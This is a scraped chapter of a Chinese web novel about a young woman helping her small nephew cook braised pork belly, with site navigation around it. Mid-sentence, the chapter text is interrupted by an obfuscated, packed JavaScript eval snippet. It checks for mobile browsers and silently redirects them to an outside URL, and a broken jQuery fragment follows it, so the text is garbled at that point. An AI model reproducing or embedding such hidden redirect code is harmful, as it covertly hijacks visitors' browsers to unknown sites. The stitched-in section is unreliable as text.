默认冷灰
24号文字
方正启体

9. 第9章

作者:诃故本书字数:K更新时间:
    小孩子颠勺。


    想都不敢想。


    只是看顾嘉宁打了鸡血的模样,想必是不会打消他的念头的,只能到时候帮忙多看顾着点了。


    可千万别炸了她的厨房!


    顾若虽然对于厨艺不太精通,但危机时刻,也还是会盖锅盖、关阀门、断电、开窗户...等等应急措施的。


    依着顾嘉宁的想法,她没有把五花肉冷冻,而是放在了上面的冷藏室中。


    “好了,都收拾好了,顾嘉宁,现在才两点,去睡个午觉吧。小孩子嘛,还是得多睡点觉。”都收拾完了,眼看着时间还早,顾若推搡着他去房间休息。


    而她也要趁着这点空闲时间,抓紧完成自己的稿子,速写的画面还没有完成,之后还需要誊写对话、上色...


    任务仍旧十分严峻。


    像是戳中了他的想法,顾嘉宁闻言就打了个哈欠,低哑着嗓子应了一声:“好嘟~”


    把小萝卜头送回了他的房间,目睹着他盖上薄被、闭上眼睛,顾若轻手轻脚地关上了房门,拿着没喝完的奶茶回到了自己的卧室里。


    抓了抓披散着的头发,她疲惫却别无选择的坐在了自己的电脑前。


    开机,上工!


    当一个人在专注地做某一件事的时候,总是很难注意到时间的流逝,顾若自然也是如此。


    她沉浸在自己的世界里,抛却了外界扰人的杂音,只专注于笔下勾勒的每一笔线条。


    等到她将昨天还没画完的线稿画完,点击保存后,这才发现时间已经来到了傍晚的五点。


    那臭小子,应该要不了多久就要喊饿了...


    揉了揉有些酸涩的眼眶,顾若拿起一旁的眼药水,往眼睛里滴了一滴,闭了一会儿眼。紧接着又按摩了一下酸胀的手腕,捶打了几下僵硬的肩膀,才从座位上站了起来。


    稍稍活动了四肢,待身上的疲惫散去了一些,她就走出了卧室,准备热一热中午打包的饭食。


    “哗啦啦——”


    刚一走出房门,耳边就传来了一阵水流涌动的声音,似乎来自于厨房的方向...


    原本还有几分惫懒的眼睛,登时睁大了几分,顾若几步就走到了厨房的门口,只件一个小小的身影,双脚踩在一张矮凳上,双手伸在水池里,在他的前方是汩汩冒着清水的水龙头。


    仔细瞧去,还能看到他的手里,握着一块粉白相间的东西。


    洗五花肉?


    “顾嘉宁,你这是...”


    “姑姑!你醒了吗?”突然听到了顾若的声音,顾嘉宁手中的五花肉一时不察,从手中滑了下去,而他则一脸惊喜的扭头,看着顾若的同时解释道:“我在洗肉啦~等会就可以做啦~”


    顾若甚至从他的脸上看到了“求夸夸”的表情。


    “需要...我来帮忙吗?”只是顾若的心里的警惕压根就没有放下,生怕顾嘉宁弄出什么乱子。


    “我可以哒!”顾嘉宁显得胸有成竹,从水池里捡起了滑落下去的五花肉,继续洗了起来。


    一双小手来回地揉搓着。


    生肉本身就带着些油腥味,黏黏腻腻的,搁在平时,顾若是碰都不想碰的,但此时,瞧着顾嘉宁这么费力...


    她干脆在厨房找了一双透明的一次性手套,略微有些强势的从顾嘉宁手里抢过了肉块:“我来洗吧。”


    细致地洗了几遍,又从一旁拿了砧板,放在水龙头下冲了冲,才将肉放在了砧板之上:“接下来是要切成小方块?还是长条?”


    小孩子的力气有限,顾若的力气也有限,但这动刀切肉,还是得由她来,不然哪里磕着划着了,又是一番头疼。


    “唔...长长方方的吧...要熟得快一点...”手指戳了戳下巴,顾嘉宁思考了一会后说道。


    “行!”


    顾若的速度虽然慢,刀功也不是很伶俐,但还是将这一块的五花肉,切成了细细长长、肥瘦相间的小块。


    “接下来要做些什么?”


    “哎呀姑姑,你怎么这么笨呀?我们不是买书了吗?你快看看!”


    “嘿,不是你吵着闹着要自己下厨的吗?”


    “可我好多字都不认识...说好了的,姑姑,你得帮我念菜谱...”


    说话间,顾嘉宁已经捧着不知何时拿到手里的《一看就会的家常菜》,递到了顾若的面前。


    取下了手上的一次性手套,顾若擦了擦手,接过了书,打开翻找着目录,先是从里面找到了红烧肉的字眼,然后翻到了对应的页数——


    红烧肉的做法:


    【五花肉切条,放入凉水中,开火烧至半熟,再撇去血沫。】


    【捞出五花肉,放至水龙头下冲凉,再切成厚块,放入开水中,焯水。】


    “这下好了...第一步好像就做错了...”看着已经被切成了细长块的五花肉,顾若小声地低喃了一句:“菜谱说的,也不一定完全对嘛...按照下面的做法,应该也不会难吃到哪里去吧...”


    “咳咳!”清了清嗓子,顾若这才稍稍提高了音量:“我们先把锅里倒多点水,等水沸腾了,再把切好的肉块往丢里面煮一小会儿,过水。”


    “好嘟,我来我来!”听到这些的顾嘉宁也不闲着,当即就踮起了脚尖,伸手就去够案台上的铁锅。


    铁锅的份量不轻,顾若自然不可能让他动手,当即就抢先一步拿起了锅,放水龙头下冲洗了一遍,才又接了一大锅的水,放在了炉灶上。


    拧开关,点火。


    再摸了摸顾嘉宁的小脑袋:“你呀,就先看着火吧!”


    “姑姑你怎么老是摸我头,会长不高的!而且我...我会干的事情...可多着呢!”被抢了活的顾嘉宁显得有些不服气,感觉自己被小瞧了,连摸头的动作都排斥了几分。


    “是是是...”


    嘴上这么敷衍着,顾若依旧没有投注过多的信任。


    在看到锅里的水沸腾后,就将砧板上切的肉块一股脑的倒进了沸水里,然后冲刷了几遍砧板上的碎末,抬手就要将它收起来。


    “等等!等一等,姑姑,还要切一点姜片和葱花...”


    正要收回的手一顿,顾若转念一想,趁着煮肉的这点时间,倒是可以将这些配料弄完了。


    “好...知道了。”


    砧板被重新放在了案台上,她转身从一旁的冰箱里拿出了生姜和小葱,又看了一眼倒扣着的菜谱,再拿了一些八角、桂皮、香叶、干辣椒这样的调料,以及一小包冰糖,放在了厨房那些调味料的旁边。


    生姜切片,小葱切成了两三毫米的颗粒,分别放入了两个碗中,这才将砧板再次洗净收了起来。


    木头做的砧板,若是不及时收纳,非常容易产生霉菌。


    但也不知道是怎么一回事,明明是顾嘉宁自告奋勇的想要炒五花肉,怎么到头来,都变成了她自己在忙碌了...


    顾若扶了扶额,只感觉自己比平时操心了很多。


    等她闲下来休息时,正看到顾嘉宁那小子,拿着一根汤勺,舀着锅里冒出来的血沫。


    神情专注又认真,还真有几分像模像样的。


    见他也没弄出什么差错,顾若干脆拿筛米的篮子舀了大半量杯的米,洗了又洗,倒进电饭煲中,加入了高了约一厘米的清水,直接蒸上了米饭。


    “姑姑!该盛起来起锅烧油啦!”


    这厢刚刚弄完,另一边的顾嘉宁又叫囔了起来,干净的白瓷盘正摆在铁锅旁,汤勺舀出的已经只剩下了白色的五花肉,一块又一块的叠在了一起。


    “知道了...”焯五花肉的沸水倒掉,顾若又洗了洗铁锅,擦干后重新摆上了炉灶,“这肉好像...得弄凉后沥干...”


    装着五花肉的盘里还留下了一些汤水。


    “欸?那我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904102|176774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ...试试?”


    眼看着顾嘉宁的双手即将捧起那一碟子焯水后的肉块,顾若终究是没有忍住:“算了算了,我来吧。”


    盘子的边缘并不烫手,只是里面的五花肉,还蒸腾着几分热气。她将盘子端离了顾嘉宁的视线,接着又拿出了一双一次性手套,套上后端着肉放在水龙头的凉水下开始冲刷。


    似是嫌速度太慢,干脆捏了一块一块的冲凉水,结果一不留神就烫到了手,那块五花肉也滚落到了盘里。


    “嘶!”


    倒吸了一口冷气,顾若急忙将手指伸到了水龙头下,冲刷了好一会儿。或许是因为隔了一层塑料,灼热的烫意并没有持续很久。


    她干脆就拿了一双筷子,和另一只干净的篮子,夹着五花肉冲洗,变凉后再放入那只篮子里。


    只是这么一来一回,消耗的时间又多了些。


    “姑姑!姑姑!你被烫到了吗?要不要吹吹?”倒是顾嘉宁敏感的捕捉到了那声倒吸冷气的声音,跳着脚探头问道。


    “没什么大碍。”或许是大人好面子,在那一瞬间,顾若的第一反应就是逞强说没事,随后又像是想到了什么,连忙出声告诫:“顾嘉宁,你看看,像姑姑这么大的人了,也会一不小心烫到手。你一个小孩子,哪里来的勇气,吵吵着要自己做饭的?”


    “小小年纪,胆子就那么大了?”


    “唔...是姑姑你...太笨手笨脚了吧?我这么聪明机灵,才不会被烫到手...”


    “你!再说一遍!”


    听到这里顾若就来气了,也顾不得冲凉后的五花肉,放下筷子,转身后伸手就掐上了顾嘉宁的脸颊。力道不轻不重,但也实实在在的表示了自己的愤怒。


    “窝...窝嗦错啦...姑姑嗦得对,多亏了泥帮窝!”


    识时务者为俊杰。当脸上的肉再度被捏住时,顾嘉宁也没了之前的硬气,含糊着声音,立即就缴械投降了。


    “哼,这才差不多~”


    身为大人,自然不能和一个小孩子过多计较,在顾嘉宁道歉后,顾若就松开了手,心满意足地继续忙碌了起来。


    徒留下顾嘉宁自己,目光哀怨,瘪着小嘴揉了揉自己的脸蛋,接着悄悄嘀咕了几个听不清的字眼。


    反正不可能是什么好话了...


    五花肉都冲凉沥干了,顾若再度看了几眼菜谱,才往锅里倒入了一些色拉油,然后把桂皮、八角、香叶扔了进去,嘴里也不忘叮嘱:“顾嘉宁,你快走开些,小心溅油!”


    她自己也后怕得往后退了几步。


    “油能有多疼呀?姑姑,要不...还是我来吧?”顾嘉宁小小的脑子里似乎没有那个概念,不但没有后退,还往前走了几步。


    “可别了,万一真烫伤了,我可不好和你爸妈交代。”后退着的顾若,连忙把他往外又推了推,而她自己则举起了锅盖充当盾牌。


    锅盖只能护住脸,顾若思索着又套上了两只护袖,这才伸手拿起了锅铲扒拉了几下锅底。


    好在扔进去的都是干料,并没有溅起多少油渍。


    只是在调料炒出香味后,倒进五花肉时,就没有那么好运了。说是沥干实际上还沾着些水渍的肉块,在接触到油的一瞬间就炸了开来。


    纵使顾若及时用锅盖挡住了大部分的热油,但还是有那么一滴,溅到了她握着锅铲的手指上。


    芝麻大小的一滴,灼热又滚烫。


    下意识的,顾若缩回了拿着锅铲的手,将左手的锅盖径直盖在了铁锅上,听着锅里一顿噼里啪啦的溅油声。


    她伸手拧开了水龙头,将溅到油的部位放在了清水下,冲刷。清凉的自来水,缓解着皮肤处的热意。


    “溅...溅到了吗?”看着这突然的动作,顾嘉宁一时间都有些慌了:“我...我去给你找烫伤药!”


    “不——”


    刚发声就只看到了他的背影。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)